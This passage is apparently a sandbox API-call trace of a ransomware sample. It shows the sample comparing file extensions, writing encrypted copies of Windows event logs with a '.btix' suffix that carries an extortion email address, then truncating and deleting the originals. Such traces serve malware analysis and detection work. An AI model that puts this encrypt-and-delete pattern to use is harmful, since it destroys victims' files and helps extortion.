[0052.208] lstrlenW (lpString=".ppt") returned 4 [0052.208] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString=".zip") returned 4 [0052.208] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".rar") returned 4 [0052.208] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".bz2") returned 4 [0052.208] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".7z") returned 3 [0052.208] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString=".dbf") returned 4 [0052.208] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString=".1cd") returned 4 [0052.208] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString=".jpg") returned 4 [0052.208] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.208] lstrlenW (lpString=".doc") returned 4 [0052.208] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".docx") returned 5 [0052.208] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.209] lstrlenW (lpString=".pdf") returned 4 [0052.209] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString=".xls") returned 4 [0052.209] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString=".xlsx") returned 5 [0052.209] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.209] lstrlenW (lpString=".ppt") returned 4 [0052.209] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.209] lstrlenW (lpString=".zip") returned 4 [0052.209] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString=".rar") returned 4 [0052.209] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString=".bz2") returned 4 [0052.209] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString=".7z") returned 3 [0052.209] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.209] lstrlenW (lpString=".dbf") returned 4 [0052.209] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.209] lstrlenW (lpString=".1cd") returned 4 [0052.209] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.209] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.209] lstrlenW (lpString=".jpg") returned 4 [0052.209] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.209] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.209] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0052.209] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.213] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.213] CloseHandle (hObject=0x36c) returned 1 [0052.213] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0052.213] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.213] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.213] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.214] GetLastError () returned 0x0 [0052.214] ReadFile (in: hFile=0x36c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.266] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.268] ReadFile (in: hFile=0x36c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.268] WriteFile (in: hFile=0x308, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x146, lpOverlapped=0x0) returned 1 [0052.268] SetEndOfFile (hFile=0x308) returned 1 [0052.299] CloseHandle (hObject=0x308) returned 1 [0052.300] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.300] SetEndOfFile (hFile=0x36c) returned 1 [0052.301] CloseHandle (hObject=0x36c) returned 1 [0052.301] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.302] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0052.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString=".doc") returned 4 [0052.303] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".docx") returned 5 [0052.303] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.303] lstrlenW (lpString=".pdf") returned 4 [0052.303] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".xls") returned 4 [0052.303] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".xlsx") returned 5 [0052.303] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.303] lstrlenW (lpString=".ppt") returned 4 [0052.303] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString=".zip") returned 4 [0052.303] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".rar") returned 4 [0052.303] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".bz2") returned 4 [0052.303] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString=".7z") returned 3 [0052.303] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString=".dbf") returned 4 [0052.303] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString=".1cd") returned 4 [0052.303] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.303] lstrlenW (lpString=".jpg") returned 4 [0052.303] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString=".doc") returned 4 [0052.304] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".docx") returned 5 [0052.304] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.304] lstrlenW (lpString=".pdf") returned 4 [0052.304] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".xls") returned 4 [0052.304] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".xlsx") returned 5 [0052.304] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.304] lstrlenW (lpString=".ppt") returned 4 [0052.304] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString=".zip") returned 4 [0052.304] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".rar") returned 4 [0052.304] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".bz2") returned 4 [0052.304] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString=".7z") returned 3 [0052.304] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString=".dbf") returned 4 [0052.304] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString=".1cd") returned 4 [0052.304] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0052.304] lstrlenW (lpString=".jpg") returned 4 [0052.304] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.305] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.305] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0052.305] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.336] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.336] CloseHandle (hObject=0x38c) returned 1 [0052.336] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0052.336] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.336] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.336] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.336] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.336] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.341] GetLastError () returned 0x0 [0052.341] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.373] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.375] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.375] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x178, lpOverlapped=0x0) returned 1 [0052.375] SetEndOfFile (hFile=0x320) returned 1 [0052.375] CloseHandle (hObject=0x320) returned 1 [0052.377] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.377] SetEndOfFile (hFile=0x38c) returned 1 [0052.378] CloseHandle (hObject=0x38c) returned 1 [0052.378] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.378] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0052.378] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString=".doc") returned 4 [0052.379] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".docx") returned 5 [0052.379] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.379] lstrlenW (lpString=".pdf") returned 4 [0052.379] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".xls") returned 4 [0052.379] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".xlsx") returned 5 [0052.379] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.379] lstrlenW (lpString=".ppt") returned 4 [0052.379] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString=".zip") returned 4 [0052.379] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".rar") returned 4 [0052.379] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".bz2") returned 4 [0052.379] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString=".7z") returned 3 [0052.379] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString=".dbf") returned 4 [0052.379] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString=".1cd") returned 4 [0052.379] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.379] lstrlenW (lpString=".jpg") returned 4 [0052.380] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString=".doc") returned 4 [0052.380] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".docx") returned 5 [0052.380] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.380] lstrlenW (lpString=".pdf") returned 4 [0052.380] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".xls") returned 4 [0052.380] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".xlsx") returned 5 [0052.380] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.380] lstrlenW (lpString=".ppt") returned 4 [0052.380] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString=".zip") returned 4 [0052.380] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".rar") returned 4 [0052.380] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".bz2") returned 4 [0052.380] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString=".7z") returned 3 [0052.380] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString=".dbf") returned 4 [0052.380] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString=".1cd") returned 4 [0052.380] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0052.380] lstrlenW (lpString=".jpg") returned 4 [0052.380] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.381] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.381] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0052.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.381] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.381] CloseHandle (hObject=0x38c) returned 1 [0052.381] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0052.381] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.381] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.381] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.382] GetLastError () returned 0x0 [0052.382] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.443] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.445] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.445] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x146, lpOverlapped=0x0) returned 1 [0052.445] SetEndOfFile (hFile=0x320) returned 1 [0052.445] CloseHandle (hObject=0x320) returned 1 [0052.447] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.447] SetEndOfFile (hFile=0x38c) returned 1 [0052.448] CloseHandle (hObject=0x38c) returned 1 [0052.449] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.449] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0052.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.449] lstrlenW (lpString=".doc") returned 4 [0052.449] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.449] lstrlenW (lpString=".docx") returned 5 [0052.449] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.449] lstrlenW (lpString=".pdf") returned 4 [0052.449] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.449] lstrlenW (lpString=".xls") returned 4 [0052.449] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.449] lstrlenW (lpString=".xlsx") returned 5 [0052.449] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.449] lstrlenW (lpString=".ppt") returned 4 [0052.449] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.449] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.449] lstrlenW (lpString=".zip") returned 4 [0052.449] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.449] lstrlenW (lpString=".rar") returned 4 [0052.450] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".bz2") returned 4 [0052.450] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".7z") returned 3 [0052.450] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString=".dbf") returned 4 [0052.450] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.450] lstrlenW 